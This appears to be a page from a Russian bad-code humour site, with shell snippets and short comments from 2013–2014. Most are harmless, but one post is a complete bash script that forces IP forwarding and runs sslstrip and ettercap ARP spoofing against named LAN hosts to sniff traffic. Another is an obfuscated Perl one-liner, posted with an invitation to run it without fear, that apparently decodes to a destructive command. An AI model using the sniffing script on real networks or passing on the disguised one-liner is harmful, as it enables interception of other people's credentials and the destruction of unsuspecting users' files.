-
−128
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=$((i+1))
done
case $i in
(0) set -- ;;
(1) set -- "$args0" ;;
(2) set -- "$args0" "$args1" ;;
(3) set -- "$args0" "$args1" "$args2" ;;
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
gradle wrapper
Elvenfighter,
02 Апреля 2014
-
−122
- 1
find $WORK/LOG -name "*.log" | grep "^app_"
и писали же вроде это не в 2 утра...
Dummy00001,
07 Марта 2014
-
−126
- 1
- 2
- 3
- 4
while [ 1 ]
do
# ....
done
Прикололо. Не уверен что автор даже знает почему/как именно это работает.
Dummy00001,
07 Марта 2014
-
−124
- 1
- 2
out=`$SOME_PROPRIETARY_TOOL $LOTS_OF_PARAMETERS 2>&1`
out=`echo $out | awk '{print $23}'`
из официального скрипта. и мне вот ту $SOME_PROPRIETARY_TOOL надо править. пальцев до 23х считать не хватает.
Dummy00001,
07 Марта 2014
-
−123
- 1
- 2
- 3
# remove whole directory to avoid bugs like rm -rf ""/*
rm -rf "$CHROOT_DIR"
mkdir -p "$CHROOT_DIR"
Вспомнилось bumblebee
Elvenfighter,
07 Марта 2014
-
−117
- 1
- 2
- 3
- 4
- 5
- 6
(
if [ ! -z "$UNIX95" ] ; then
unset UNIX95
fi
...
)
Продолжение темы "Java программисты пишут на шелле": в подшелле, убрать переменную, если поставлена.
А то вдруг шелл какой NullPointerException бросит.
Dummy00001,
06 Марта 2014
-
−92
- 1
sed 's/\(.*\)\t\(.*\)\t"\(.*\)"\t"\(.*\)"/<tr><td><a href="\2">\3<\/a><\/td><td>\4<\/td><td>\1<\/td><\/tr>/'
Только sed, только хардкор ;)
bormand,
06 Марта 2014
-
−129
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
#!/bin/bash
FILE="/proc/sys/net/ipv4/ip_forward"
echo "Время Наименование Статус" >> /tmp/for_log.list
echo "______________________________________________________________" >> /tmp/for_log.list
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
IP_FORWARD(){
while true; do
CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
if [ "$CT_FORWARD" = 1 ] ;then
echo > /dev/null
else
echo "1" > $FILE
fi
#sleep 3
done
}
CON_ETHERNET(){
while true; do
echo $(date +%H:%M:%S)" Проверка интернет соединения в обработке" >> /tmp/for_log.list
ping -c 3 ya.ru > /dev/null
if [ $? = "0" ];then
echo $(date +%H:%M:%S)" Подключение к интернет есть" >> /tmp/for_log.list
START_SNIFFIG
else
echo $(date +%H:%M:%S)" Нет интернет подключение fail" >> /tmp/for_log.list
if [ "`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`" = "sslstrip" ];then
$POSE=`ps sx | grep sslstrip | grep -v grep | awk '{ print $2; }'`
kill -9 $POSE >rpmlist 2> /dev/null
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslstrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
if [ "`ps sx | grep tcpdump | grep -v grep | awk '{ print $10; }'`" = "tcpdump" ];then
kill -9 `ps all | grep ettercap | grep -v grep | awk '{ print $3; }'` >rpmlist 2> /dev/null
echo
echo "Процесс ettercap... убит"
echo $(date +%H:%M:%S)" Процесс ettercap убит" >> /tmp/for_log.list
kill -9 `ps all | grep sslstrip | grep -v grep | awk '{ print $2; }'` >rpmlist 2> /dev/null
echo
echo "Процесс sslstrip... убит"
echo $(date +%H:%M:%S)" Процесс sslsrip убит" >> /tmp/for_log.list
else
echo > /dev/null
fi
fi
sleep 120
done
}
START_SNIFFIG(){
#Проверяем, запущен ли уже сниффер
sleep 4
CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
echo $(date +%H:%M:%S)" Процесс sslstrip включен" >> /tmp/for_log.list
echo > /dev/null
else
#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
echo $(date +%H:%M:%S)" Включаю sslstrip включен успешно" >> /tmp/for_log.list
sslstrip -a -f &
fi
CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
if [ "$CHECK_ETTERCAP" = "ettercap" ];then
echo $(date +%H:%M:%S)" Процесс ettercap включен" >> /tmp/for_log.list
else
echo $(date +%H:%M:%S)" Включаю etttercap включен успешно" >> /tmp/for_log.list
ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd /192.168.1.1/ /192.168.1.102/ &
fi
}
IP_FORWARD & CON_ETHERNET
1. Проверяет интернет соединение
2. При наличии инета врубает sslstrip и ettercap
3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
___________
Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи
MassEnjoy,
23 Февраля 2014
-
−94
- 1
perl -e 's;;=]=>%-{%#(/|}.|(!::]|.%[|]%!<|>/|!,,{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'; echo !
Запускайте. не бойтесь)
kegdan,
31 Декабря 2013
-
−119
- 1
echo `getent passwd | awk -F: '{ if($1 == "myaut") print $3; }'`
Определяет id пользователя myaut. Откопано в старой (моей) переписке. Эх...
myaut,
27 Декабря 2013